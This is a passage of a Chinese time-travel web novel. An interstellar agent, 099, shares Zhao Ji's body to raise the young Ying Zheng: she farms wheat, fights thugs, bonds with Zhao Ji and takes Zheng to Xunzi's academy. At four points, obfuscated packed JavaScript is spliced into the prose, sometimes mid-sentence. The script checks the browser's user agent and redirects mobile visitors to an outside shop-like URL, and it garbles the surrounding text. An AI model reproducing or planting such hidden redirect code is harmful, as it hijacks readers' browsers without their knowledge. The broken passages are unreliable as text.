她把嬴政的手指尖那个触感,她碰过他眉心的触感,在心里,又放了一遍。 。。。。 赵姬开始主动配合099。白天,她按照“布帛留言”去买种子、找地、收菜。 晚上,她不再害怕“那个东西”出来,她甚至会故意早点睡,把时间留给“她”。 因为她发现,自从“她”来了,政儿再也没有饿过肚子,再也没有发过烧。而她,也再也没有一个人扛过任何事。 这天晚上,099又去地里干活。 赵姬的意识没有完全下线,她缩在身体深处,透过“自己”的眼睛,看“她”种地。 “她”蹲在麦苗旁边,用手一株一株地检查,动作很慢,很仔细。 赵姬觉得,“她”好像也不是那么可怕,“她”只是不太会当人。 赵姬的意识,往前凑了凑,她想看看,“她”到底长什么样。 但“她”用的是自己的身体,所以看到的,还是自己的脸。赵姬有点失望,然后她听到“她”开口了。 “明天该浇水了。”声音很轻,像在自言自语。然后顿了一下:“不对,后天,明天有雨。” 赵姬愣住,“她”怎么知道明天有雨?她抬头看天,月亮很圆,星星很亮,一丝云都没有。 但“她”说,明天有雨。 赵姬将信将疑。 第二天,果然下雨了。 赵姬站在屋檐下,看着外面的雨幕,沉默了很久。“她”连天气都能预测。 “她”到底是谁? 时间飞逝,春末夏初,麦子熟了,金黄色的,一小片,在地里弯着腰。 099蹲在地头,看着那些麦穗,面无表情,但她的眼眶,又红了。 【主播,你又哭了。】 【没有。】 【你明明哭了。】 【……是麦芒扎的。】 弹幕笑成一片。 099站起来,开始收麦。没有镰刀,用手拔,麦芒扎得手背全是红点,她没停。 赵姬白天来,看到地里已经收完的麦子,捆成捆,码得整整齐齐。 她蹲下来,拿起一捆麦子,放在膝盖上一搓,麦粒滚出来,黄灿灿的,饱满得不像话。 赵姬真的惊讶了,她见过麦子,邯郸城外就有麦田,但那些麦穗,稀稀拉拉,麦粒又小又瘪。 “她”种出来的,不一样。 赵姬把麦粒放进嘴里嚼,甜的,带着阳光的味道。 她想哭,但她忍住了,她把麦捆背回去,至于怎么做,那就要交给另外一个她的。她可是柔弱不能自理的舞姬。 099上线后,看着堆成小山的麦子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459166|201265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再次打开数据库:“战国,麦子,怎么吃?” 弹幕比数据库快。 【主播,战国不吃面粉,吃粒食,就是直接把麦粒煮成饭吃。】 【等等,主播你别听他的,那时已经有面食了,叫“饼”。】 【对对对,《墨子》里就提到过“饼”字。】 099找到了答案:饼。麦粉做的叫饼,米粉做的叫粢。 方法很简单:把麦粒捣成粉,加水团成饼,然后蒸熟。 没有石磨,就用石臼和木杵,一点点舂。这是个力气活,099和赵姬轮流舂了好几天,才得到一小盆微黄的面粉。加水,揉成团,再分成小块,压成饼,最后放到陶甑上蒸。 当第一锅“蒸饼”出锅时,赵姬看着那些冒着热气的面饼,震惊了很久。她拿起一个,咬了一口。 不同于麦粒的粗糙,这东西口感细腻,带着一股麦子特有的清香。虽然不够松软,还有点硬,但在这个吃麦饭都觉得奢侈的年代,这已经是无上美味。 “真好吃啊。”赵姬喃喃自语。 是夜,099上线。她看到灶台上剩下的蒸饼,拿了一个,咬了一口。凉的,有点硬,带着微微的咸味。 她坐在灶台边,一口一口地吃,吃到第三口的时候,她停住了。她把饼含在嘴里,没有嚼,她就那样含着,坐了很久。然后,她的眼泪掉下来了。 一滴,落在馒头上,她低头看着那个湿痕,把那一口馒头咽下去,然后继续吃。 【主播……】 【她哭了。】 099没擦眼泪,她吃完第二个饼,站起来,走到床边,把嬴政抱进怀里:“政儿。” 嬴政迷迷糊糊地睁眼:“阿娘?” “以后你会吃到很多好吃的东西。” “比这个好吃一万倍。” 嬴政不懂一万倍是多少,但他看到“晚上阿娘”的眼睛里有光,他伸手,摸了摸她的脸:“阿娘不哭。” 099低头看着他:“嗯,不哭。” 她没告诉他,这是她来这个时代之后,第一次觉得,留下来,也挺好的。 【主播,好吃吗?】 099没回答。 【情感波动值:+8.3%】 【警告:情感波动超过安全阈值。】 【警告:检测到未知情绪数据流。】 【建议:立即进行情感隔离。】 099把系统的警告关掉了,她抱着嬴政,坐在灶台边。 灶膛里的火光映在两个人脸上。 嬴政靠在她怀里。 099低头看着他,她想起了星际时代,那个所有人都吃营养液、连麦子长什么样都不知道的时代。 而她,在这个没有纸、没有电、没有药的战国, 种出了麦子,蒸出了饼。她把这个时代,往前推了一小步,很小的一步。 那一夜,赵姬又没有“睡着”。她缩在身体深处,看099抱着嬴政坐在灶台边。 赵姬看到099的眼泪掉在蒸饼上,看到099把嬴政抱进怀里说“以后你会吃到很多好吃的东西”,看到099把系统的警告关掉。 赵姬听不懂“系统”是什么,但她看懂了099的表情。 那种表情,和她自己照镜子时偶尔看到的一样,是想留下来的表情。 赵姬的意识,往前凑了凑,她想说话,她不知道“那个东西”能不能听到她,但她想说。 赵姬:“你……” 099的身体顿了一下。 赵姬的意识也顿了一下,她不确定刚才是自己的幻觉,还是—— “你听得到?”赵姬又试了一次。 8. 第 8 章 099低头,看着自己的手,这是赵姬的手,那只手,慢慢握成了拳头,赵姬握的。 099看着那只拳头,沉默了片刻,然后她低声说:“听得到。” 弹幕: 【她们说话了!!!!】 【第一次直接对话!!!!】 【不是留字条!!!不是指胸口!!!是说话!!!!】 赵姬的意识在颤抖,她有太多问题想问,你是谁,你从哪里来,你为什么要帮我们,你会走吗? 但最后,她只问了一句:“那个饼,好吃吗?” 099低头,看着自己的手,那只手慢慢松开了,她说:“好吃。” 赵姬的意识,安静下来,过了一会儿,她又问:“明天,还做吗?” 099没回答,但她点了点头。 灶膛里的火光,映在她脸上,她嘴角,翘了一下。 弹幕: 【她们开始聊天了。】 【聊的是饼。】 【“那个饼好吃吗”、“明天还做吗”,这就是过日子啊。】 【这是两个人关系最深的确认。】 。。。。。 嬴政两岁半了。 099根据系统推算的,误差不超过一个月。他已经能满地跑,能说完整的句子,能问出让099沉默的问题。 赵姬越来越习惯“两个人”的生活。白天,她照顾嬴政、卖菜、操持家务。晚上,099接管身体,种地、搞发明、给嬴政上课。 她们之间,形成了一种微妙的默契。赵姬不再问“你是什么”。099也不再躲着赵姬的意识。 但有一件事,赵姬一直没放下,那把刀。 她把它藏在枕头底下,每天晚上睡前摸一摸,不是想用,是习惯了,有它在,她觉得安心。 这天晚上,099上线,她照例先去看嬴政,然后去地里转了一圈,回来的时候路过赵姬藏刀的枕头。她停了一下,伸手把枕头掀开,刀还在。 099拿起那把刀,在月光下端详,巴掌长,铁质的,刀刃磨得很亮。 【主播,你拿刀干什么?】 【赵姬不会以为你要……】 099她把刀放回去,枕头盖好,然后走到案几边,拿起炭笔,在一块布帛上写了一行字。写完,她又加了一行,然后把布帛叠好,塞进赵姬的手心。 赵姬第二天醒来,发现手心里又有一块布帛,她打开,上面写着两行字: “刀收好。” “防人之心不可无,包括对我。” 赵姬盯着那两行字,看了很久。“包括对我。” 她忽然觉得鼻子一酸。“她”知道,“她”一直都知道。知道自己怕“她”,知道自己藏刀是为了防“她”。 但“她”没有生气,没有离开,没有把刀扔掉。“她”只是说:刀收好。防人之心不可无,包括对我。 赵姬把布帛握紧,贴在胸口。她走到枕头边,把刀拿出来看了一眼,刀刃很亮,她磨了很久,本来是防“她”的。现在…… 她把刀放回去,位置变了,从枕头底下换到了枕头旁边,更方便拿的位置,不是防“她”,是防别人。 麦子收了又种,种了又收。 099的能量槽,掉到了45%。她开始精打细算,能不用扫描就不用扫描,能不开夜视就不开夜视。 连直播信号,她都调成了低功耗模式。弹幕的画质变糊了,观众开始抱怨。 【主播,画面怎么糊了?】 【你开高清啊。】 【没能量了。】 【……那你省着点用。】 099没告诉他们,她最近发现了一个新的能量来源,情感波动。 每次嬴政对她笑,能量涨一点。 每次嬴政叫她“娘”,能量涨一点。 每次嬴政在她怀里睡着,能量涨一点。 不多,但稳定,像是在说:你爱他,你就能留下来。 099没有把这个发现写在备忘录里,因为她怕自己会想太多。 这天傍晚,赵姬带着嬴政去集市。路过一条巷口时,她犹豫了一下,巷子里蹲着几个地痞,领头的叫王癞子,脸上有道疤。 赵姬本想绕开,但她心里忽然冒出一个念头:如果“她”遇到这种事,会怎么办? 她想知道。于是她径直走了过去。 “哟,这不是赵夫人吗?”王癞子站起来,上下打量她,“听说你会治病?还会种田?神女啊?” 他伸手去摸赵姬的脸,赵姬躲开了。 王癞子脸色一变,一把抓住她的胳膊。 那一刻,赵姬后悔了,她不该来的,万一政儿受伤了呢? 然后她感觉到自己的身体变了,手自己动了。 099睁开眼。第一件事是一只脏手抓着自己的胳膊,第二件事是一张长着刀疤的脸离自己不到半尺,第三件事是怀里嬴政惊恐的眼神。 她没有犹豫,身体自动进入战斗模式,星际文明救援计划的基础训练,近身格斗。 她反手扣住王癞子的手腕,一拧,“咔”手腕脱臼了。 王癞子惨叫一声松开手往后跌去,另外两个地痞冲上来。 099把嬴政换到左手抱着,右手从地上捡起一根树枝,一刺戳中第一个地痞的咽喉。那人捂着喉咙跪倒在地。 099横扫打在第二个地痞的膝盖上,那人腿一软往前扑,099抬脚踢在他的裆部。那人直接蜷成一团。 整个过程不到几息。 王癞子坐在地上,捂着脱臼的手腕,眼神惊恐。099抱着嬴政走到他面前,低头淡淡地看着他:“还来吗?” 王癞子猛摇头。 “滚。” 三个人连滚带爬地跑了。 099低头看向怀里的嬴政,小东西没有哭,他睁着那双黑亮的眼睛看着她,在确认是“她”。 “阿娘。”他叫了一声。 099点头:“嗯。” 赵姬在身体深处,看到了全过程。她看到“自己”拧断王癞子的手腕,看到“自己”用树枝戳人喉咙。看到“自己”踢人裆部,动作行云流水,如同做过无数次。 赵姬的腿软了,不是因为害怕,好吧,有一点。但更多的,是一种说不清的情绪。 “她”会打架,“她”什么都会。种田、治病、看天气、蒸饼、打架。“她”把政儿养得白白胖胖,把自己护得严严实实。 而自己呢?自己只会卖菜,只会做饼,只会晚上把时间让给“她”。 赵姬明白了自己今天为什么要走那条巷子,是因为她想看看,“她”保护的是政儿,还是也包括自己。 如果是政儿遇险,“她”一定会出手。但如果只有自己遇险呢?“她”会管吗? 赵姬不确定,所以她试了。 现在她知道答案了,“她”管了,“她”拧断那只脏手的时候,眼睛里没有犹豫,“她”在保护自己,不是只保护政儿,是连自己一起保护。 赵姬的眼眶,猛地泛红了,然后她感觉到,“她”注意到她了。 099抱着嬴政走到村外一片树林边,把他放在一块石头上,吩咐道:“政儿,坐在这里,不要动。” 嬴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459167|201265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政点了点头。 099闭上眼睛。意识沉入身体深处。她“看到”了赵姬,她缩在角落里,抱着膝盖在哭。 099走过去,蹲下来,和她平视。 赵姬抬起头,她的脸上挂着泪痕,但眼神没有恐惧。 赵姬问:“你看到了?” 099点头。 “那你为什么不骂我?”赵姬的声音在抖,“我故意走那条巷子,我故意让自己遇险,我拿政儿冒险,你为什么不骂我?” 099看着她,说:“因为我也想让你知道,我会保护你。不只是政儿,也包括你。” 赵姬的眼泪又掉下来了。 099没有帮她擦,她只是坐在她旁边,和她并肩靠着同一面“墙”,意识深处那面看不见的墙。 “你是谁?”赵姬终于问出了这句话。 “我叫099。” “零……九……九?”赵姬重复了一遍,皱起眉头,“这不是人名。” “是编号。” “编号是什么?” 099顿了一下,她打开系统面板,调到“任务说明”页面,赵姬看不到那个面板,但099念给她听。 “文明救援计划,编号099。任务目标:保护并培养干预对象嬴政,协助其完成文明进程的关键节点。” 赵姬听不懂,但她听出了几个字,“保护”、“培养”、“嬴政”。 赵姬疑惑地问:“你是被派来保护政儿的?谁派的?” 099:“五千年以后的人。” 赵姬错愕:“五千年……以后?那你是神仙?” 099:“不是,只是未来的人。” 赵姬沉默了片刻,她低下头,看着自己的手,其实是她们共同的手:,粗糙、有茧、指缝里还有泥。 “未来的人,都像你这样吗?”她问。 099想了想:“不,大部分人不会打架。” 赵姬含着眼泪笑了,她说:“那你会打架,是因为要保护政儿?” “……对。” “还有我。”赵姬补了一句。 099点了点头。 赵姬擦了擦眼泪:“零九九,” 她念得很慢,像是想把这三个音记住,“我叫你阿九,好不好?政儿叫过这个名字,在梦里。” 099的数据流波动了一下。 【情感波动值:+2.1%】 “……好。”她说。 赵姬伸出手,那只粗糙的、有茧的手,穿过意识深处那面看不见的墙,握住了099的手,其实是她们共同的手,但在这个空间里,她们是两个人。 “阿九,”赵姬说,“你别走。” 099握着她的手,没有回答,因为她不知道答案。 099睁开眼睛,嬴政还坐在石头上,看着她。 “阿娘,白天阿娘是不是在怕你?” 099走过去把他抱起来:“为什么这么问?” 嬴政低下头,玩着自己的手指:“白天阿娘看我的时候,眼睛在抖,你不会。” 099把他抱紧了一点:“白天阿娘不是在怕我,她是在怕她自己。” 嬴政歪着头,不懂。 099没有解释,她抱着他往回走,月光把两个人的影子拉得很长。 是夜,099抱着嬴政坐在火堆边,天上的月亮很圆。 嬴政指着月亮:“阿娘,为什么月亮会变形状?” 099捡起一根树枝,在地上画了一个圆,又画了一个小圆围着大圆转。 “因为月亮本身不发光……” 9. 第 9 章 099解释:“因为月亮本身不发光。它反射太阳的光。太阳照到哪一面,我们就看到哪一面。照得多就圆,照得少就弯。” “太阳呢?” “太阳下山了。” “为什么下山?” “因为地球在转。” “地球是什么?” 099捡起一根树枝,在地上画了一个圆,又画了一个小圆围着大圆转:“这是地球,这是月亮。地球转一圈是一天。月亮围着地球转一圈是一个月。” 嬴政蹲下来看着地上的画,伸出小手摸了摸那个圆:“地球是圆的?” “对。” “那我们为什么不会掉下去?” 099顿了一下:“因为有一种力叫引力。地球很大,它会把所有东西都往自己身上拉,所以我们不会掉下去。” 嬴政抬头看她:“阿娘怎么知道这些?” 099看着他,那双黑亮的眼睛映着月光,映着她的脸。她忽然意识到,这个两岁多的孩子不是在随便问问题,他在试探她。 099把视线移开,看着远处的麦田:“阿娘以前学过。” “以前是多久以前?” “很久以前。” “比政儿出生还久?” “……对。” 嬴政没再问了,他靠过来,把小脑袋搁在099的肩窝里,忽然又问:“阿娘,星星上面有人吗?” 099沉默了一会儿:“有。” “什么人?” “以后的人,很久很久以后的人。” 嬴政歪着头:“阿娘是从星星上面来的吗?” 099的数据流一阵波动,她低头看着嬴政,两岁半的孩子,黑亮的眼睛映着月光,映着她的脸。 099说:“不管我从哪里来,我现在在这里。” 嬴政盯着她看了一眼,然后点了点头:“嗯,阿娘不要走。” 他把头靠回099怀里,099没说话,把他抱紧了一点。 【情感波动值:+3.2%】 【能量补充:+0.5%】 【当前能量:45%→45.5%】 夜深了,嬴政睡熟之后,099打开系统面板。 【能量剩余:45.5%】 【剩余可用天数:34】 【宿主情绪状态:稳定,正向情感波动持续充能中】 【建议:维持当前互动模式,预计可延长任务时间12-15%】 099关掉面板,她站起来,走到赵姬藏布帛的地方,枕头旁边。她拿起最上面那块布帛,翻开。 099看到了赵姬今天写的字。 “今天政儿叫了我三声娘。” 下面是自己回的:“他昨天叫了我五声。” 再下面是赵姬写的:“……这也要比?” 再下面是自己的:“不比,我只是在陈述事实。” 再下面是赵姬写的:“你这个人真没意思。” 099的嘴角翘了一下,她把布帛翻过来,然后她停住了。 背面有两行字,第一行:“不管你是谁,谢谢你。” 第二行,字更小,笔画更轻:“如果你有一天要走,走之前告诉我一声,让我好好跟你道别。” 099盯着那两行字,看了片刻,失神了。 【系统提示:情感波动值+4.7%】 【能量补充:+1.2%】 【当前能量:46.7%】 099把布帛叠好,放回枕头旁边,然后她走回炕边,在嬴政身边躺下来。 月光从窗户照进来,照在她脸上,她闭上眼睛。 过了一会儿,她又睁开,她拿起炭笔,在那块布帛的背面,赵姬写的那两行字下面,加了一行。 “我会尽力,阿九。” 她把布帛叠好,塞回枕头底下,这一次,她希望赵姬能看到。 系统界面,在099闭上眼睛之后,弹出一行小字: 【情感波动值累计:+43.2%】 【文明干预进度:0.021%】 【任务状态:进行中】 【新增关系里程碑:赵姬→099,命名“阿九”,双向情感确认】 【当前危机:能量剩余46.7%,剩余34天】 【备注:她在布帛上写了“阿九”,第一次。】 赵姬第二天醒来,看到了布帛背面的字,她看了,然后把布帛贴在心口。 “阿九,”她对着空荡荡的屋子说,“我知道了。” 。。。。。 从邯郸逃出来,已经快三年了。 嬴政从一个吃奶的婴儿,长成了一个会跑、会问为什么的三岁孩童。 这两年,099带着他走过楚国的荒野,躲过三次赵军的搜捕,治过两次疟疾,跟野狗抢过一只死兔子。她教他认了五十个字,教他数数,教他辨认野菜和草药。 每一项,都在消耗能量。 每一天,能量都在往下掉。 而直播间的人数虽然涨到了十二万,但打赏寥寥。星际币不是大风刮来的,观众也有自己的日子要过。 所以此刻,099看着系统面板上那个数字,5.5%。她没有惊讶,只是沉默。 到了楚地,她们的口袋已经见底了。最后一枚刀币在三天前买了半斗糙米,如今米缸见了底。 赵姬翻遍了包袱,连一枚铜钱都找不出来。她坐在客栈的柴房里,对,柴房。连正房都租不起了,只能跟掌柜的赊了间柴房,答应帮掌柜干点杂活抵租。 嬴政在柴房角落的地铺上睡着了,三岁的孩子,瘦了不少,但眼睛还是明亮有神的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459168|201265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵姬看着他的脸,想起自己年轻时在邯郸的日子。那时候多好啊,有人捧着,有人供着,哪想到有一天会沦落到住柴房。 她咬了咬嘴唇,脑子里冒出一个念头,改嫁。 她赵姬今年才二十出头,模样还在,身段还在,找个本地殷实人家嫁了,不说大富大贵,至少不用再带着孩子风餐露宿。 越想越觉得可行,她甚至开始在脑子里盘算:村东头那个丧妻的里正,五十多岁,家里有三十亩地;城南开布铺的刘掌柜,四十来岁,腿有点瘸,但生意不错…… 第二天,赵姬抱着嬴政去集市,路过村东头里正家。门开着,她往里看了一眼。 里正坐在院子里,他的第三任妻子跪在旁边给他捶腿。女人的脸上,有一块青紫的印子,是旧伤叠新伤。 赵姬的脚步不由自主地停了,那个女人抬起头,看了她一眼,眼睛里只有麻木和认命了。 赵姬的心,猛地揪紧了,她抱着嬴政,快步走开,那天晚上,她脑子里改嫁的念头,自己灭了。 晚上099醒来,她做的第一件事,不是看嬴政,而是翻赵姬白天的记忆。 这是她的习惯,白天她不在,但赵姬想了什么、见了什么,她都得知道。然后她看到了赵姬的改嫁计划,也看到了里正家门口那一幕。 099面无表情地打开系统面板,调出赵姬的生理数据和周边环境评估,得出结论: 【方案评估:再嫁。成功率:32%。风险:极高。预期寿命影响:-15年。自主权:归零。】 她把这些数据转化成赵姬能听懂的话,写成一段文字,留在赵姬的意识里。等赵姬白天醒来,会记得自己想过这些问题,并且得出了结论:不嫁。 弹幕: 【哈哈哈哈,099:想都别想。】 【主播连赵姬的婚姻都要管?】 【真·管家婆。】 099没理弹幕,她蹲下来,看嬴政。三岁的孩子,睡相不好,四仰八叉地躺着。那张小脸,比两个月前瘦了一圈。 她伸手探了探他的体温,正常,又扫了遍骨骼发育数据,比同龄标准低了8%。 营养不良。 她站起来,打开系统面板。 【能量剩余:5.5%】 【今日消耗:1.2%(含维持基本生命体征、直播信号传输)】 【打赏收入:+0.3%(最近七日平均)】 【净消耗:-0.9%/日】 【预计可用天数:6天】 她的手指顿了一下,六天。 弹幕也看到了: 【???怎么只剩5.5%了???】 【上次不是还有44%吗?】 【过了半年多了啊,每天消耗,打赏又少。】 【主播你这半年干嘛了?】 10. 第 10 章 099:“……” 这半年,她干的事,那可就多了。 弹幕还在刷: 【主播你造个肥皂卖啊,古代没有肥皂,发财。】 【对,肥皂,穿越标配。】 099终于回了一句:“前提:有油、有碱、有安全环境。” 不然再多的创意,只是给豪强做嫁衣。 弹幕安静了一瞬。 【……当我没说。】 【那酿酒吧?】 【粮食都没有,酿什么酒?】 【……当我没说。】 【那写书?卖字?】 【没纸,竹简一卷几十斤,谁买?】 【……当我没说。】 弹幕彻底沉默了,主播真的是穿越界最苦逼的一个了。 099关掉面板。不能慌。 她走到嬴政身边,把被他蹬掉的薄被重新盖好。被子是赵姬用最后一块布头缝的,补丁摞补丁,但洗得很干净。 嬴政在睡梦中翻了个身,小手无意识地抓了抓,抓到了099的衣角,抓住不松了。 099没动,她就那样蹲着,让他抓着。 月光从柴房破了的窗户照进来,落在嬴政脸上。他瘦了,但睡着的时候,眉头是松开的。不像白天,白天他在赵姬怀里,眉头总是微微皱着,像是知道大人正在为什么事发愁。 099看着他,想起一年前在流民队伍里,他发着烧,攥着她的衣角,说“阿娘不要走”。 那时候他还不太会说话,“阿娘”两个字都叫得含含糊糊。现在他会说完整的句子了,会问“天为什么是蓝的”,会指着牛车上的竹简说“政儿想看”。 嬴政长得太快了,快到她有时候会恍惚,那个在邯郸雪夜里、被她用星际幼崽安抚手势哄住的三个月婴儿,和眼前这个会自己爬上地铺、会扶着门框听老先生讲学的孩子,真的是同一个人吗? 她低头,看着那只抓住她衣角的小手,比去年大了些,但还是很小,她把那只小手握在掌心里。 【系统提示:情感波动值+2.3%。能量补充+0.4%。当前能量:5.9%。】 099没有看提示,她只是握着那只小手,蹲在月光下,很久。 天亮以后,赵姬醒来,她记得自己昨晚想了一夜,得出结论:不能改嫁,至于为什么不能,她脑子里浮现出里正家门口那个女人脸上的青紫印子。 怕了,太恐怖了。 赵姬抱着嬴政出了柴房,去集市上碰碰运气,也许能找到点零活干,换几个铜钱。 集市不大,一条土路两边摆着摊子。卖菜的、卖布的、卖陶罐的、卖牲口的,人声嘈杂。 赵姬牵着嬴政从东头走到西头,又从西头走回东头。没人要雇工,一个带着孩子的女人,能干什么活? 赵姬站在路边歇脚,嬴政探出头,眼睛盯着一个方向。 赵姬顺着他的目光看过去,一辆牛车,车上坐着个穿青衫的士人,车后面捆着几捆竹简。牛车慢悠悠地过去,扬起一片尘土。 嬴政还在看。 赵姬拍了拍他的脸:“看什么呢?” 嬴政没回头,小手指着远去的牛车:“车上有书,很多。” 赵姬愣了一下,她踮脚看了看,牛车已经拐弯了,什么也看不见,她低头看着嬴政:三岁的孩子,对书感兴趣? 赵姬没当回事,小孩子嘛,看什么都新鲜。 但赵姬不知道,这个“看什么都新鲜”的孩子,夜里还有一个母亲。 晚上099醒来,发现嬴政没有睡,他坐在地铺上,没有哭闹,安静地看窗外的月亮。 “政儿。” 嬴政转头,看到是她,眼睛一下子亮了:“阿娘。” 他爬过来,扑进她怀里。扑过来的力道不小,撞得099往后退了半步。她稳住,抱着他,坐在地铺上。 嬴政靠在她怀里,小手抓着她的衣领,忽然开口:“阿娘,今天有车,车上有书。” 099听了,立刻调取赵姬的记忆片段。牛车、竹简、士人。 嬴政继续说:“书,很多,政儿想看。” 099低头,看着怀里的小东西,那双黑亮的眼睛,映着月光,映着她的脸。 099问:“你想看书?” 嬴政点点头:“嗯。” “为什么?” 嬴政歪着头想了想,说了一个字:“学。” 099低头看着他:“为什么想学?” 嬴政歪着头想了想,说:“学会了,就能告诉白天阿娘,天为什么是蓝的。” 099顿了一下,她想起几个月前,嬴政问赵姬“天为什么是蓝的”,赵姬说“本来就是蓝的”。 这孩子,一直记着。 099的数据流,又波动了,她深吸一口气,打开系统扫描,在周边区域搜索“书籍”、“学馆”、“士人聚集地”。】 扫描范围从500米扩大到2公里,没有,扩大到5公里。 扫描完成:东南方向4.7公里处,检测到大量竹简信号。建筑群:疑似学馆。 进一步扫描:学馆内检测到生命体37人。其中一人,智力等级:S。 姓名:荀况。身份:赵国人,曾任兰陵令,现于兰陵设馆讲学。年龄:约七十岁。 备注:儒学大家,法家代表人物李斯、韩非之师。 099盯着那个面板,瞳孔微缩。荀子,战国最后一位大儒。 李斯、韩非的老师,活化石级别的大佬,就在四公里外。 099低头,看着怀里的嬴政,小东西不知道发生了什么,正仰着脸看她,等她回答。 099抱着他站起来,走到窗边,指向东南方向,夜色里,隐约能看到几点灯火。】 “政儿,你看那边。” 嬴政顺着她的手指看过去。 099说:“那里,有很多书,还有一个很厉害的人。” 嬴政的眼睛,比月光还亮:“政儿想去。” 099低头看着他:“明天,阿娘带你去。” 嬴政睡着之后,099打开备忘录,写下一行字:明日任务:带嬴政去兰陵学馆。 【备注:他主动要学。】 弹幕: 【他三岁啊,三岁主动要看书。】 【秦始皇三岁的时候在干什么?在要书看。】 【我三岁的时候在干什么?在吃土。】 099没理弹幕,她转身,看向地铺,嬴政已经睡了,嘴角挂着笑,梦到什么了?梦到那些书了吧。 099走过去,在他身边躺下,柴房很小,地铺很硬,屋顶有一个洞,能看到星星。 她睁着眼睛,看着那颗最亮的星,那是她的来处,但她不想回去了,至少,现在不想。 赵姬第二天醒来,发现“自己”又留了布帛,上面写着:去东南方向,兰陵学馆。 赵姬皱眉,学馆?去那儿干什么?她又不想读书。 但她还是去了,因为“她”从来不会做没用的事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459169|201265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵姬走了大半个时辰,远远看到一片屋舍,青砖灰瓦,绿树成荫,门前一条青石路,扫得干干净净。门口停着几辆牛车,几个穿儒衫的年轻人进进出出。 赵姬抱着嬴政,站在门口,不知道该不该进去。 嬴政却不老实了,他从赵姬怀里挣下来,迈着两条小短腿,摇摇晃晃地往门口走。 “政儿。” 嬴政没回头,他走到门口,扶着门框,探头往里看。 院子中央,一个白发老者正坐在石台上。阳光穿过槐树的叶子,碎碎地落在他身上,他满头白发,声音却中气十足,一开口,整个院子都静下来了。 “……故不积跬步,无以至千里;不积小流,无以成江海……” 嬴政站在门口,不动了,他就那样扶着门框,仰着脸,听。 赵姬追上来,要拉他走:“政儿,别打扰人家……” 嬴政甩开了她的手,第一次,倔强地说:“不。” 赵姬愣住,她低头看着嬴政的手,那只小手,从她掌心里挣脱出去,扶在门框上,扶得很紧。 她想起阿九写过一行字:“政儿以后会成为一个很重要的人。” 赵姬以前不懂,一个连饭都吃不饱的孩子,能重要到哪里去? 现在她看着嬴政站在学馆门口,仰着脸,听里面那个白发老者讲她听不懂的话。他的眼睛那么亮,亮到她觉得,阿九说的,也许是真的。 赵姬没有再拉他,她蹲下来,蹲在他旁边,和他一起听。虽然她什么也听不懂,但政儿听得懂。 嬴政的眼睛,一眨不眨地盯着院子里那个白发老者。 赵姬蹲在他身边,顺着他的目光看过去,觉得那老头声音挺大,中气挺足。 她叹了口气,索性坐在门槛上,抱着胳膊等。 这一等,就是一个下午。 弹幕: 【赵姬:我听不懂,但崽听得懂。】 【嬴政站了一下午???三岁孩子???】 【嬴政不是在听,他是在吸。】 【吸什么?】 【吸知识。】 散学的时候,夕阳已经把屋顶染成了金色。学生们三三两两散去,有人议论今日先生讲的“蓬生麻中,不扶而直”。 嬴政听到了,小嘴张了张,没出声,但嘴唇在动。 赵姬终于忍不住了,一把抱起他:“走了走了,回去吃饭。” 嬴政被她抱起来,头还扭着,盯着院子里那个白发老者。 老者正坐在石台上慢慢喝水,目光扫过门口,扫到那个被抱走的孩子。 他放下水杯,看了一眼。 那孩子也在看他,隔着半个院子,一老一小,对视了一瞬。 老者点了点头。 嬴政眨了眨眼,把脸埋进赵姬的颈窝里。 一路上,嬴政没说话,回到柴房,他自己爬上地铺,躺下,睁着眼睛看天花板。 赵姬以为他累了,没多想。 但嬴政不累,他睁着眼睛,看天花板上的那个洞,洞里,有一颗星星,和昨晚阿九指给他看的是同一颗。 他脑子里反复回响着下午那个白发老者说的话。“不积跬步,无以至千里。” 跬步,就是半步,千里,就是很远很远的路。阿娘教过。 这个老人在说:要走很远的路,就要从第一步开始。 嬴政觉得,这句话,是说给他听的。他嘴唇动了动,无声地重复了一遍。然后他闭上眼睛。月光从屋顶的洞照进来,照在他脸上。 11. 第 11 章 夜里,柴房。 嬴政没有睡,他坐在地铺上,等着。 